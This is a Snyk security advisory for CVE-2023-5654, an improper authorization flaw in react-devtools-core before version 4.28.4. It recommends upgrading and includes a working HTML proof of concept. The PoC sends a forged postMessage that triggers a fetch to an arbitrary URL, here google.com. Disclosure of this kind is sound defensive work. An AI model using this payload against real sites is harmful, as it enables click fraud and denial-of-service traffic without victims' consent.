Improper Authorization Affecting react-devtools-core package, versions <4.28.4
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-JS-REACTDEVTOOLSCORE-6023999
- published22 Oct 2023
- disclosed19 Oct 2023
- creditCalum Hutton - Snyk Research Team
Introduced: 19 Oct 2023
CVE-2023-5654 (opens in a new tab)How to fix?
Upgrade react-devtools-core to version 4.28.4 or higher.
Overview
react-devtools-core is an Use react-devtools outside of the browser
Affected versions of this package are vulnerable to Improper Authorization through the window.addEventListener('message', <listener>) function. By exploiting this vulnerability, an attacker can generate clicks and revenue or initiate a Distributed Denial of Service (DDoS) attack without the victims’ knowledge or consent by sending a message that triggers a fetch request to an arbitrary
PoC
<!DOCTYPE html>
<html>
<head>
<script src="https://unpkg.com/react@18/umd/react.development.js" crossorigin></script>
<script src="https://unpkg.com/react-dom@18/umd/react-dom.development.js" crossorigin></script>
<script src="https://unpkg.com/@babel/standalone/babel.min.js"></script>
</head>
<body>
<div id="mydiv"></div>
<script type="text/babel">
function Hello() {
return <h1>Hello World!</h1>;
}
const container = document.getElementById('mydiv');
const root = ReactDOM.createRoot(container);
root.render(<Hello />)
</script>
<script>
function sendBrowserMsg() {
let msg = {
source: 'react-devtools-extension',
payload: {
type: 'fetch-file-with-cache',
url: 'https://www.google.com'
}
}
console.log(`Sending msg from browser: ${JSON.stringify(msg)}`);
postMessage(msg, "*");
}
</script>
<form>
<button type="button" id="submit" onClick="sendBrowserMsg()">Go!</button>
</form>
</body>
</html>